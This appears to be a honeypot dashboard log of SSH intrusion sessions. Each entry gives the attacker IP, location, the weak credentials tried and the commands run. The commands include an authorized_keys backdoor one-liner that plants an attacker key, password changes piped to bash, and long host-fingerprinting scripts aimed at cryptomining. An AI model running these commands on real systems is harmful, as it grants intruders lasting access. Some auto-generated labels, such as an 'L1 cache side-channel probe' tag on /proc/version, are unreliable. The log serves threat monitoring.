$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ listless_junk_root (47.83.23.141) โ€” Hong Kong, Hong Kong ยท 1 session ยท 20 cmds
2026-07-12 15:37 EDT ยท as user/user
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "user\ncDmFohJhu8GL\ncDmFohJhu8GL"|passwd|bash
$ Enter new UNIX password:
$ echo "user\ncDmFohJhu8GL\ncDmFohJhu8GL\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ aloof_bike_root (91.92.40.37) โ€” Eygelshoven, The Netherlands ยท 54 sessions ยท 54 cmds
2026-06-28 16:46 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—54
๐ŸŽญ spectral_wok_root_190 (119.91.115.190) โ€” Guangzhou, China ยท 1 session ยท 5 cmds
2026-07-12 15:16 EDT ยท as root/root
hostname โ†’ cat โ†’ free โ†’ df
$ hostname -f 2>/dev/null || hostname 2>/dev/null || uname -n
$ cat /proc/meminfo | grep MemTotal | awk '{print $2}'
$ free -m | awk '/^Mem:/ {print $2}'
$ df -BG / 2>/dev/null | awk 'NR==2 {print $2}' | sed 's/G//'
$ cat /etc/os-release 2>/dev/null | grep PRETTY_NAME | cut -d= -f2 | tr -d '"'
๐ŸŽญ zealous_silk_root_47 (49.232.146.47) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-12 09:21 EDT ยท as deploy/deploy
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ hollow_pho_sol (14.248.83.33) โ€” Hanoi, Vietnam ยท 1 session ยท 2 cmds
2026-07-12 09:06 EDT ยท as oracle/Oracle11
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ vapor_eagle_root (35.188.112.111) โ€” Council Bluffs, United States ยท 2 sessions ยท 4 cmds
2026-07-09 02:46 EDT ยท as oracle/123.com, oracle/oracle#2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ spectral_lotus_root_237 (59.179.31.237) โ€” Delhi, India ยท 1 session ยท 20 cmds
2026-07-12 03:26 EDT ยท as tomcat/tomcat
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "tomcat\no8uBCpDmjPph\no8uBCpDmjPph"|passwd|bash
$ Enter new UNIX password:
$ echo "tomcat\no8uBCpDmjPph\no8uBCpDmjPph\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ arctic_pho_root (42.96.17.104) โ€” Quแบญn Mแป™t, Vietnam ยท 24 sessions ยท 24 cmds
2026-07-11 08:53 EDT ยท as admin/admin, admin/admin123, deploy/deploy
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—24
๐ŸŽญ zealous_windmill_root (91.92.40.204) โ€” Amsterdam, The Netherlands ยท 18 sessions ยท 162 cmds
2026-07-03 14:15 EDT ยท as admin/123456, admin/admin, admin/admin123
PATH manipulation โ†’ OS fingerprinting via uname -s -v -n -m โ†’ kernel version extraction from /proc/version โ†’ OS release detection via /etc/os-release
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—5
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—18
$ /bin/uname -s -v -n -m 2 > /dev/null ร—18
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—18
$ busybox uname -s -v -n -m 2 > /dev/null ร—18
$ ( [ -f /proc/version ] ร—18
$ [ -f /proc/version ] ร—18
$ head -1 /proc/version | cut -d -f1 ร—18
$ [ -f /etc/os-release ] ร—18
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—13
๐ŸŽญ jittery_lotus_root (103.157.219.78) โ€” Yรชn Phแปฅ, Vietnam ยท 1 session ยท 2 cmds
2026-07-11 22:22 EDT ยท as oracle/Passw0rd@123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ nocturnal_dragon_root_147 (116.181.11.147) โ€” Jinrongjie, China ยท 1 session ยท 20 cmds
2026-07-11 21:54 EDT ยท as oracle/qwe123!@#
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "qwe123!@#\nfywCaJTtIrHa\nfywCaJTtIrHa"|passwd|bash
$ Enter new UNIX password:
$ echo "qwe123!@#\nfywCaJTtIrHa\nfywCaJTtIrHa\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ feral_dragon_root (113.137.40.250) โ€” Xincheng, China ยท 1 session ยท 2 cmds
2026-07-11 21:31 EDT ยท as oracle/qwe123!@#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ silent_cosmo_root (77.66.192.139) โ€” Rostov-on-Don, Russia ยท 1 session ยท 2 cmds
2026-07-11 21:21 EDT ยท as oracle/Oracle123!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ venomous_markhor_root (182.180.91.158) โ€” Islamabad, Pakistan ยท 1 session ยท 2 cmds
2026-07-11 20:24 EDT ยท as oracle/oracle123!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ listless_echo_root (179.48.248.245) โ€” San Josรฉ, Costa Rica ยท 1 session ยท 2 cmds
2026-07-11 20:15 EDT ยท as oracle/oracle123!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ glitchy_eagle_root (156.245.246.50) โ€” Los Angeles, United States ยท 1 session ยท 2 cmds
2026-07-11 19:38 EDT ยท as oracle/Oracle12
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ zealous_indus_root (103.166.103.173) โ€” Multan, Pakistan ยท 1 session ยท 2 cmds
2026-07-11 19:37 EDT ยท as oracle/Oracle12
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ derelict_junk_root (47.82.98.144) โ€” Hong Kong, Hong Kong ยท 1 session ยท 1 cmd
2026-07-11 19:22 EDT ยท as root/12345678
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ drowsy_lantern_root (47.98.254.52) โ€” Hangzhou, China ยท 1 session ยท 1 cmd
2026-07-11 16:20 EDT ยท as admin/admin
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ wily_windmill_root_13 (91.92.40.13) โ€” Amsterdam, The Netherlands ยท 29 sessions ยท 261 cmds
2026-07-04 17:13 EDT ยท as admin/123456, admin/admin, admin/admin123
Credential validation (root/1234) โ†’ environment path hardening โ†’ kernel fingerprinting via uname -s -v -n -m โ†’ L1 cache side-channel probe (/proc/version) โ†’ OS release detection (/etc/os-release) โ†’ hardware enumeration (CPU, hostname, architecture) โ†’ cryptomining capability assessment.
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || 